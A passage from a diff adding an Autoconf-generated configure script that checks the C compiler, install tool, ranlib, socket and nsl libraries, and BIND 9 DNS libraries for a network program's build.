"$as_me:$LINENO: error: in \`$ac_pwd':" >&5 +$as_echo "$as_me: error: in \`$ac_pwd':" >&2;} +{ { $as_echo "$as_me:$LINENO: error: cannot compute suffix of object files: cannot compile +See \`config.log' for more details." >&5 +$as_echo "$as_me: error: cannot compute suffix of object files: cannot compile +See \`config.log' for more details." >&2;} + { (exit 1); exit 1; }; }; } +fi + +rm -f conftest.$ac_cv_objext conftest.$ac_ext +fi +{ $as_echo "$as_me:$LINENO: result: $ac_cv_objext" >&5 +$as_echo "$ac_cv_objext" >&6; } +OBJEXT=$ac_cv_objext +ac_objext=$OBJEXT +{ $as_echo "$as_me:$LINENO: checking whether we are using the GNU C compiler" >&5 +$as_echo_n "checking whether we are using the GNU C compiler... " >&6; } +if test "${ac_cv_c_compiler_gnu+set}" = set; then + $as_echo_n "(cached) " >&6 +else + cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ + +int +main () +{ +#ifndef __GNUC__ + choke me +#endif + + ; + return 0; +} +_ACEOF +rm -f conftest.$ac_objext +if { (ac_try="$ac_compile" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval ac_try_echo="\"\$as_me:$LINENO: $ac_try_echo\"" +$as_echo "$ac_try_echo") >&5 + (eval "$ac_compile") 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + $as_echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && { + test -z "$ac_c_werror_flag" || + test ! -s conftest.err + } && test -s conftest.$ac_objext; then + ac_compiler_gnu=yes +else + $as_echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + + ac_compiler_gnu=no +fi + +rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext +ac_cv_c_compiler_gnu=$ac_compiler_gnu + +fi +{ $as_echo "$as_me:$LINENO: result: $ac_cv_c_compiler_gnu" >&5 +$as_echo "$ac_cv_c_compiler_gnu" >&6; } +if test $ac_compiler_gnu = yes; then + GCC=yes +else + GCC= +fi +ac_test_CFLAGS=${CFLAGS+set} +ac_save_CFLAGS=$CFLAGS +{ $as_echo "$as_me:$LINENO: checking whether $CC accepts -g" >&5 +$as_echo_n "checking whether $CC accepts -g... " >&6; } +if test "${ac_cv_prog_cc_g+set}" = set; then + $as_echo_n "(cached) " >&6 +else + ac_save_c_werror_flag=$ac_c_werror_flag + ac_c_werror_flag=yes + ac_cv_prog_cc_g=no + CFLAGS="-g" + cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ + +int +main () +{ + + ; + return 0; +} +_ACEOF +rm -f conftest.$ac_objext +if { (ac_try="$ac_compile" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval ac_try_echo="\"\$as_me:$LINENO: $ac_try_echo\"" +$as_echo "$ac_try_echo") >&5 + (eval "$ac_compile") 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + $as_echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && { + test -z "$ac_c_werror_flag" || + test ! -s conftest.err + } && test -s conftest.$ac_objext; then + ac_cv_prog_cc_g=yes +else + $as_echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + + CFLAGS="" + cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ + +int +main () +{ + + ; + return 0; +} +_ACEOF +rm -f conftest.$ac_objext +if { (ac_try="$ac_compile" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval ac_try_echo="\"\$as_me:$LINENO: $ac_try_echo\"" +$as_echo "$ac_try_echo") >&5 + (eval "$ac_compile") 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + $as_echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && { + test -z "$ac_c_werror_flag" || + test ! -s conftest.err + } && test -s conftest.$ac_objext; then + : +else + $as_echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + + ac_c_werror_flag=$ac_save_c_werror_flag + CFLAGS="-g" + cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ + +int +main () +{ + + ; + return 0; +} +_ACEOF +rm -f conftest.$ac_objext +if { (ac_try="$ac_compile" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval ac_try_echo="\"\$as_me:$LINENO: $ac_try_echo\"" +$as_echo "$ac_try_echo") >&5 + (eval "$ac_compile") 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + $as_echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && { + test -z "$ac_c_werror_flag" || + test ! -s conftest.err + } && test -s conftest.$ac_objext; then + ac_cv_prog_cc_g=yes +else + $as_echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + + +fi + +rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext +fi + +rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext +fi + +rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext + ac_c_werror_flag=$ac_save_c_werror_flag +fi +{ $as_echo "$as_me:$LINENO: result: $ac_cv_prog_cc_g" >&5 +$as_echo "$ac_cv_prog_cc_g" >&6; } +if test "$ac_test_CFLAGS" = set; then + CFLAGS=$ac_save_CFLAGS +elif test $ac_cv_prog_cc_g = yes; then + if test "$GCC" = yes; then + CFLAGS="-g -O2" + else + CFLAGS="-g" + fi +else + if test "$GCC" = yes; then + CFLAGS="-O2" + else + CFLAGS= + fi +fi +{ $as_echo "$as_me:$LINENO: checking for $CC option to accept ISO C89" >&5 +$as_echo_n "checking for $CC option to accept ISO C89... " >&6; } +if test "${ac_cv_prog_cc_c89+set}" = set; then + $as_echo_n "(cached) " >&6 +else + ac_cv_prog_cc_c89=no +ac_save_CC=$CC +cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ +#include +#include +#include +#include +/* Most of the following tests are stolen from RCS 5.7's src/conf.sh. */ +struct buf { int x; }; +FILE * (*rcsopen) (struct buf *, struct stat *, int); +static char *e (p, i) + char **p; + int i; +{ + return p[i]; +} +static char *f (char * (*g) (char **, int), char **p, ...) +{ + char *s; + va_list v; + va_start (v,p); + s = g (p, va_arg (v,int)); + va_end (v); + return s; +} + +/* OSF 4.0 Compaq cc is some sort of almost-ANSI by default. It has + function prototypes and stuff, but not '\xHH' hex character constants. + These don't provoke an error unfortunately, instead are silently treated + as 'x'. The following induces an error, until -std is added to get + proper ANSI mode. Curiously '\x00'!='x' always comes out true, for an + array size at least. It's necessary to write '\x00'==0 to get something + that's true only with -std. */ +int osf4_cc_array ['\x00' == 0 ? 1 : -1]; + +/* IBM C 6 for AIX is almost-ANSI by default, but it replaces macro parameters + inside strings and character constants. */ +#define FOO(x) 'x' +int xlc6_cc_array[FOO(a) == 'x' ? 1 : -1]; + +int test (int i, double x); +struct s1 {int (*f) (int a);}; +struct s2 {int (*f) (double a);}; +int pairnames (int, char **, FILE *(*)(struct buf *, struct stat *, int), int, int); +int argc; +char **argv; +int +main () +{ +return f (e, argv, 0) != argv[0] || f (e, argv, 1) != argv[1]; + ; + return 0; +} +_ACEOF +for ac_arg in '' -qlanglvl=extc89 -qlanglvl=ansi -std \ + -Ae "-Aa -D_HPUX_SOURCE" "-Xc -D__EXTENSIONS__" +do + CC="$ac_save_CC $ac_arg" + rm -f conftest.$ac_objext +if { (ac_try="$ac_compile" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval ac_try_echo="\"\$as_me:$LINENO: $ac_try_echo\"" +$as_echo "$ac_try_echo") >&5 + (eval "$ac_compile") 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + $as_echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && { + test -z "$ac_c_werror_flag" || + test ! -s conftest.err + } && test -s conftest.$ac_objext; then + ac_cv_prog_cc_c89=$ac_arg +else + $as_echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + + +fi + +rm -f core conftest.err conftest.$ac_objext + test "x$ac_cv_prog_cc_c89" != "xno" && break +done +rm -f conftest.$ac_ext +CC=$ac_save_CC + +fi +# AC_CACHE_VAL +case "x$ac_cv_prog_cc_c89" in + x) + { $as_echo "$as_me:$LINENO: result: none needed" >&5 +$as_echo "none needed" >&6; } ;; + xno) + { $as_echo "$as_me:$LINENO: result: unsupported" >&5 +$as_echo "unsupported" >&6; } ;; + *) + CC="$CC $ac_cv_prog_cc_c89" + { $as_echo "$as_me:$LINENO: result: $ac_cv_prog_cc_c89" >&5 +$as_echo "$ac_cv_prog_cc_c89" >&6; } ;; +esac + + +ac_ext=c +ac_cpp='$CPP $CPPFLAGS' +ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5' +ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5' +ac_compiler_gnu=$ac_cv_c_compiler_gnu + +ac_aux_dir= +for ac_dir in "$srcdir" "$srcdir/.." "$srcdir/../.."; do + if test -f "$ac_dir/install-sh"; then + ac_aux_dir=$ac_dir + ac_install_sh="$ac_aux_dir/install-sh -c" + break + elif test -f "$ac_dir/install.sh"; then + ac_aux_dir=$ac_dir + ac_install_sh="$ac_aux_dir/install.sh -c" + break + elif test -f "$ac_dir/shtool"; then + ac_aux_dir=$ac_dir + ac_install_sh="$ac_aux_dir/shtool install -c" + break + fi +done +if test -z "$ac_aux_dir"; then + { { $as_echo "$as_me:$LINENO: error: cannot find install-sh or install.sh in \"$srcdir\" \"$srcdir/..\" \"$srcdir/../..\"" >&5 +$as_echo "$as_me: error: cannot find install-sh or install.sh in \"$srcdir\" \"$srcdir/..\" \"$srcdir/../..\"" >&2;} + { (exit 1); exit 1; }; } +fi + +# These three variables are undocumented and unsupported, +# and are intended to be withdrawn in a future Autoconf release. +# They can cause serious problems if a builder's source tree is in a directory +# whose full name contains unusual characters. +ac_config_guess="$SHELL $ac_aux_dir/config.guess" # Please don't use this var. +ac_config_sub="$SHELL $ac_aux_dir/config.sub" # Please don't use this var. +ac_configure="$SHELL $ac_aux_dir/configure" # Please don't use this var. + + +# Find a good install program. We prefer a C program (faster), +# so one script is as good as another. But avoid the broken or +# incompatible versions: +# SysV /etc/install, /usr/sbin/install +# SunOS /usr/etc/install +# IRIX /sbin/install +# AIX /bin/install +# AmigaOS /C/install, which installs bootblocks on floppy discs +# AIX 4 /usr/bin/installbsd, which doesn't work without a -g flag +# AFS /usr/afsws/bin/install, which mishandles nonexistent args +# SVR4 /usr/ucb/install, which tries to use the nonexistent group "staff" +# OS/2's system install, which has a completely different semantic +# ./install, which can be erroneously created by make from ./install.sh. +# Reject install programs that cannot install multiple files. +{ $as_echo "$as_me:$LINENO: checking for a BSD-compatible install" >&5 +$as_echo_n "checking for a BSD-compatible install... " >&6; } +if test -z "$INSTALL"; then +if test "${ac_cv_path_install+set}" = set; then + $as_echo_n "(cached) " >&6 +else + as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + test -z "$as_dir" && as_dir=. + # Account for people who put trailing slashes in PATH elements. +case $as_dir/ in + ./ | .// | /cC/* | \ + /etc/* | /usr/sbin/* | /usr/etc/* | /sbin/* | /usr/afsws/bin/* | \ + ?:\\/os2\\/install\\/* | ?:\\/OS2\\/INSTALL\\/* | \ + /usr/ucb/* ) ;; + *) + # OSF1 and SCO ODT 3.0 have their own names for install. + # Don't use installbsd from OSF since it installs stuff as root + # by default. + for ac_prog in ginstall scoinst install; do + for ac_exec_ext in '' $ac_executable_extensions; do + if { test -f "$as_dir/$ac_prog$ac_exec_ext" && $as_test_x "$as_dir/$ac_prog$ac_exec_ext"; }; then + if test $ac_prog = install && + grep dspmsg "$as_dir/$ac_prog$ac_exec_ext" >/dev/null 2>&1; then + # AIX install. It has an incompatible calling convention. + : + elif test $ac_prog = install && + grep pwplus "$as_dir/$ac_prog$ac_exec_ext" >/dev/null 2>&1; then + # program-specific install script used by HP pwplus--don't use. + : + else + rm -rf conftest.one conftest.two conftest.dir + echo one > conftest.one + echo two > conftest.two + mkdir conftest.dir + if "$as_dir/$ac_prog$ac_exec_ext" -c conftest.one conftest.two "`pwd`/conftest.dir" && + test -s conftest.one && test -s conftest.two && + test -s conftest.dir/conftest.one && + test -s conftest.dir/conftest.two + then + ac_cv_path_install="$as_dir/$ac_prog$ac_exec_ext -c" + break 3 + fi + fi + fi + done + done + ;; +esac + +done +IFS=$as_save_IFS + +rm -rf conftest.one conftest.two conftest.dir + +fi + if test "${ac_cv_path_install+set}" = set; then + INSTALL=$ac_cv_path_install + else + # As a last resort, use the slow shell script. Don't cache a + # value for INSTALL within a source directory, because that will + # break other packages using the cache if that directory is + # removed, or if the value is a relative name. + INSTALL=$ac_install_sh + fi +fi +{ $as_echo "$as_me:$LINENO: result: $INSTALL" >&5 +$as_echo "$INSTALL" >&6; } + +# Use test -z because SunOS4 sh mishandles braces in ${var-val}. +# It thinks the first close brace ends the variable substitution. +test -z "$INSTALL_PROGRAM" && INSTALL_PROGRAM='${INSTALL}' + +test -z "$INSTALL_SCRIPT" && INSTALL_SCRIPT='${INSTALL}' + +test -z "$INSTALL_DATA" && INSTALL_DATA='${INSTALL} -m 644' + +if test -n "$ac_tool_prefix"; then + # Extract the first word of "${ac_tool_prefix}ranlib", so it can be a program name with args. +set dummy ${ac_tool_prefix}ranlib; ac_word=$2 +{ $as_echo "$as_me:$LINENO: checking for $ac_word" >&5 +$as_echo_n "checking for $ac_word... " >&6; } +if test "${ac_cv_prog_RANLIB+set}" = set; then + $as_echo_n "(cached) " >&6 +else + if test -n "$RANLIB"; then + ac_cv_prog_RANLIB="$RANLIB" # Let the user override the test. +else +as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + test -z "$as_dir" && as_dir=. + for ac_exec_ext in '' $ac_executable_extensions; do + if { test -f "$as_dir/$ac_word$ac_exec_ext" && $as_test_x "$as_dir/$ac_word$ac_exec_ext"; }; then + ac_cv_prog_RANLIB="${ac_tool_prefix}ranlib" + $as_echo "$as_me:$LINENO: found $as_dir/$ac_word$ac_exec_ext" >&5 + break 2 + fi +done +done +IFS=$as_save_IFS + +fi +fi +RANLIB=$ac_cv_prog_RANLIB +if test -n "$RANLIB"; then + { $as_echo "$as_me:$LINENO: result: $RANLIB" >&5 +$as_echo "$RANLIB" >&6; } +else + { $as_echo "$as_me:$LINENO: result: no" >&5 +$as_echo "no" >&6; } +fi + + +fi +if test -z "$ac_cv_prog_RANLIB"; then + ac_ct_RANLIB=$RANLIB + # Extract the first word of "ranlib", so it can be a program name with args. +set dummy ranlib; ac_word=$2 +{ $as_echo "$as_me:$LINENO: checking for $ac_word" >&5 +$as_echo_n "checking for $ac_word... " >&6; } +if test "${ac_cv_prog_ac_ct_RANLIB+set}" = set; then + $as_echo_n "(cached) " >&6 +else + if test -n "$ac_ct_RANLIB"; then + ac_cv_prog_ac_ct_RANLIB="$ac_ct_RANLIB" # Let the user override the test. +else +as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + test -z "$as_dir" && as_dir=. + for ac_exec_ext in '' $ac_executable_extensions; do + if { test -f "$as_dir/$ac_word$ac_exec_ext" && $as_test_x "$as_dir/$ac_word$ac_exec_ext"; }; then + ac_cv_prog_ac_ct_RANLIB="ranlib" + $as_echo "$as_me:$LINENO: found $as_dir/$ac_word$ac_exec_ext" >&5 + break 2 + fi +done +done +IFS=$as_save_IFS + +fi +fi +ac_ct_RANLIB=$ac_cv_prog_ac_ct_RANLIB +if test -n "$ac_ct_RANLIB"; then + { $as_echo "$as_me:$LINENO: result: $ac_ct_RANLIB" >&5 +$as_echo "$ac_ct_RANLIB" >&6; } +else + { $as_echo "$as_me:$LINENO: result: no" >&5 +$as_echo "no" >&6; } +fi + + if test "x$ac_ct_RANLIB" = x; then + RANLIB=":" + else + case $cross_compiling:$ac_tool_warned in +yes:) +{ $as_echo "$as_me:$LINENO: WARNING: using cross tools not prefixed with host triplet" >&5 +$as_echo "$as_me: WARNING: using cross tools not prefixed with host triplet" >&2;} +ac_tool_warned=yes ;; +esac + RANLIB=$ac_ct_RANLIB + fi +else + RANLIB="$ac_cv_prog_RANLIB" +fi + + + +{ $as_echo "$as_me:$LINENO: checking for inline" >&5 +$as_echo_n "checking for inline... " >&6; } +if test "${ac_cv_c_inline+set}" = set; then + $as_echo_n "(cached) " >&6 +else + ac_cv_c_inline=no +for ac_kw in inline __inline__ __inline; do + cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ +#ifndef __cplusplus +typedef int foo_t; +static $ac_kw foo_t static_foo () {return 0; } +$ac_kw foo_t foo () {return 0; } +#endif + +_ACEOF +rm -f conftest.$ac_objext +if { (ac_try="$ac_compile" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval ac_try_echo="\"\$as_me:$LINENO: $ac_try_echo\"" +$as_echo "$ac_try_echo") >&5 + (eval "$ac_compile") 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + $as_echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && { + test -z "$ac_c_werror_flag" || + test ! -s conftest.err + } && test -s conftest.$ac_objext; then + ac_cv_c_inline=$ac_kw +else + $as_echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + + +fi + +rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext + test "$ac_cv_c_inline" != no && break +done + +fi +{ $as_echo "$as_me:$LINENO: result: $ac_cv_c_inline" >&5 +$as_echo "$ac_cv_c_inline" >&6; } + + +case $ac_cv_c_inline in + inline | yes) ;; + *) + case $ac_cv_c_inline in + no) ac_val=;; + *) ac_val=$ac_cv_c_inline;; + esac + cat >>confdefs.h <<_ACEOF +#ifndef __cplusplus +#define inline $ac_val +#endif +_ACEOF + ;; +esac + + + + + + + +{ $as_echo "$as_me:$LINENO: checking for socket in -lsocket" >&5 +$as_echo_n "checking for socket in -lsocket... " >&6; } +if test "${ac_cv_lib_socket_socket+set}" = set; then + $as_echo_n "(cached) " >&6 +else + ac_check_lib_save_LIBS=$LIBS +LIBS="-lsocket $LIBS" +cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ + +/* Override any GCC internal prototype to avoid an error. + Use char because int might match the return type of a GCC + builtin and then its argument prototype would still apply. */ +#ifdef __cplusplus +extern "C" +#endif +char socket (); +int +main () +{ +return socket (); + ; + return 0; +} +_ACEOF +rm -f conftest.$ac_objext conftest$ac_exeext +if { (ac_try="$ac_link" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval ac_try_echo="\"\$as_me:$LINENO: $ac_try_echo\"" +$as_echo "$ac_try_echo") >&5 + (eval "$ac_link") 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + $as_echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && { + test -z "$ac_c_werror_flag" || + test ! -s conftest.err + } && test -s conftest$ac_exeext && { + test "$cross_compiling" = yes || + $as_test_x conftest$ac_exeext + }; then + ac_cv_lib_socket_socket=yes +else + $as_echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + + ac_cv_lib_socket_socket=no +fi + +rm -rf conftest.dSYM +rm -f core conftest.err conftest.$ac_objext conftest_ipa8_conftest.oo \ + conftest$ac_exeext conftest.$ac_ext +LIBS=$ac_check_lib_save_LIBS +fi +{ $as_echo "$as_me:$LINENO: result: $ac_cv_lib_socket_socket" >&5 +$as_echo "$ac_cv_lib_socket_socket" >&6; } +if test "x$ac_cv_lib_socket_socket" = x""yes; then + cat >>confdefs.h <<_ACEOF +#define HAVE_LIBSOCKET 1 +_ACEOF + + LIBS="-lsocket $LIBS" + +fi + + +{ $as_echo "$as_me:$LINENO: checking for inet_ntoa in -lnsl" >&5 +$as_echo_n "checking for inet_ntoa in -lnsl... " >&6; } +if test "${ac_cv_lib_nsl_inet_ntoa+set}" = set; then + $as_echo_n "(cached) " >&6 +else + ac_check_lib_save_LIBS=$LIBS +LIBS="-lnsl $LIBS" +cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ + +/* Override any GCC internal prototype to avoid an error. + Use char because int might match the return type of a GCC + builtin and then its argument prototype would still apply. */ +#ifdef __cplusplus +extern "C" +#endif +char inet_ntoa (); +int +main () +{ +return inet_ntoa (); + ; + return 0; +} +_ACEOF +rm -f conftest.$ac_objext conftest$ac_exeext +if { (ac_try="$ac_link" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval ac_try_echo="\"\$as_me:$LINENO: $ac_try_echo\"" +$as_echo "$ac_try_echo") >&5 + (eval "$ac_link") 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + $as_echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && { + test -z "$ac_c_werror_flag" || + test ! -s conftest.err + } && test -s conftest$ac_exeext && { + test "$cross_compiling" = yes || + $as_test_x conftest$ac_exeext + }; then + ac_cv_lib_nsl_inet_ntoa=yes +else + $as_echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + + ac_cv_lib_nsl_inet_ntoa=no +fi + +rm -rf conftest.dSYM +rm -f core conftest.err conftest.$ac_objext conftest_ipa8_conftest.oo \ + conftest$ac_exeext conftest.$ac_ext +LIBS=$ac_check_lib_save_LIBS +fi +{ $as_echo "$as_me:$LINENO: result: $ac_cv_lib_nsl_inet_ntoa" >&5 +$as_echo "$ac_cv_lib_nsl_inet_ntoa" >&6; } +if test "x$ac_cv_lib_nsl_inet_ntoa" = x""yes; then + cat >>confdefs.h <<_ACEOF +#define HAVE_LIBNSL 1 +_ACEOF + + LIBS="-lnsl $LIBS" + +fi + + +# Extract the first word of "isc-config.sh", so it can be a program name with args. +set dummy isc-config.sh; ac_word=$2 +{ $as_echo "$as_me:$LINENO: checking for $ac_word" >&5 +$as_echo_n "checking for $ac_word... " >&6; } +if test "${ac_cv_path_ac_cv_isc_config+set}" = set; then + $as_echo_n "(cached) " >&6 +else + case $ac_cv_isc_config in + [\\/]* | ?:[\\/]*) + ac_cv_path_ac_cv_isc_config="$ac_cv_isc_config" # Let the user override the test with a path. + ;; + *) + as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + test -z "$as_dir" && as_dir=. + for ac_exec_ext in '' $ac_executable_extensions; do + if { test -f "$as_dir/$ac_word$ac_exec_ext" && $as_test_x "$as_dir/$ac_word$ac_exec_ext"; }; then + ac_cv_path_ac_cv_isc_config="$as_dir/$ac_word$ac_exec_ext" + $as_echo "$as_me:$LINENO: found $as_dir/$ac_word$ac_exec_ext" >&5 + break 2 + fi +done +done +IFS=$as_save_IFS + + test -z "$ac_cv_path_ac_cv_isc_config" && ac_cv_path_ac_cv_isc_config=""no"" + ;; +esac +fi +ac_cv_isc_config=$ac_cv_path_ac_cv_isc_config +if test -n "$ac_cv_isc_config"; then + { $as_echo "$as_me:$LINENO: result: $ac_cv_isc_config" >&5 +$as_echo "$ac_cv_isc_config" >&6; } +else + { $as_echo "$as_me:$LINENO: result: no" >&5 +$as_echo "no" >&6; } +fi + + +if test "$ac_cv_isc_config" = "no"; then + { { $as_echo "$as_me:$LINENO: error: BIND 9 libraries must be installed" >&5 +$as_echo "$as_me: error: BIND 9 libraries must be installed" >&2;} + { (exit 1); exit 1; }; } +fi +DNSLIBS="`$ac_cv_isc_config --libs dns bind9`" + +DNSCFLAGS="`$ac_cv_isc_config --cflags dns bind9`" + + +{ $as_echo "$as_me:$LINENO: checking for socklen_t" >&5 +$as_echo_n "checking for socklen_t... " >&6; } +if test "${ac_cv_type_socklen_t+set}" = set; then + $as_echo_n "(cached) " >&6 +else + + cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ +#include + #include +int +main () +{ +socklen_t len = 42; return len; + ; + return 0; +} +_ACEOF +rm -f conftest.$ac_objext +if { (ac_try="$ac_compile" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval ac_try_echo="\"\$as_me:$LINENO: $ac_try_echo\"" +$as_echo "$ac_try_echo") >&5 + (eval "$ac_compile") 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + $as_echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && { + test -z "$ac_c_werror_flag" || + test ! -s conftest.err + } && test -s conftest.$ac_objext; then + ac_cv_type_socklen_t=yes +else + $as_echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + + ac_cv_type_socklen_t=no +fi + +rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext + +fi +{ $as_echo "$as_me:$LINENO: result: $ac_cv_type_socklen_t" >&5 +$as_echo "$ac_cv_type_socklen_t" >&6; } + if test $ac_cv_type_socklen_t != yes; then + cat >>confdefs.h <<\_ACEOF +#define socklen_t int +_ACEOF + + fi + +{ $as_echo "$as_me:$LINENO: checking for sa_len" >&5 +$as_echo_n "checking for sa_len... " >&6; } +if test "${ac_cv_sa_len+set}" = set; then + $as_echo_n "(cached) " >&6 +else + + cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ +#include + #include +int +main () +{ +struct sockaddr sa; sa.sa_len = 0; + ; + return 0; +} +_ACEOF +rm -f conftest.$ac_objext +if { (ac_try="$ac_compile" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval ac_try_echo="\"\$as_me:$LINENO: $ac_try_echo\"" +$as_echo "$ac_try_echo") >&5 + (eval "$ac_compile") 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + $as_echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && { + test -z "$ac_c_werror_flag" || + test ! -s conftest.err + } && test -s conftest.$ac_objext; then + ac_cv_sa_len=yes +else + $as_echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + + ac_cv_sa_len=no +fi + +rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext + +fi +{ $as_echo "$as_me:$LINENO: result: $ac_cv_sa_len" >&5 +$as_echo "$ac_cv_sa_len" >&6; } + if test $ac_cv_sa_len = yes; then + cat >>confdefs.h <<\_ACEOF +#define HAVE_SA_LEN 1 +_ACEOF + + fi + + +# Make sure we can run config.sub. +$SHELL "$ac_aux_dir/config.sub" sun4 >/dev/null 2>&1 || + { { $as_echo "$as_me:$LINENO: error: cannot run $SHELL $ac_aux_dir/config.sub" >&5 +$as_echo "$as_me: error: cannot run $SHELL $ac_aux_dir/config.sub" >&2;} + { (exit 1); exit 1; }; } + +{ $as_echo "$as_me:$LINENO: checking build system type" >&5 +$as_echo_n "checking build system type... " >&6; } +if test "${ac_cv_build+set}" = set; then + $as_echo_n "(cached) " >&6 +else + ac_build_alias=$build_alias +test "x$ac_build_alias" = x && + ac_build_alias=`$SHELL "$ac_aux_dir/config.guess"` +test "x$ac_build_alias" = x && + { { $as_echo "$as_me:$LINENO: error: cannot guess build type; you must specify one" >&5 +$as_echo 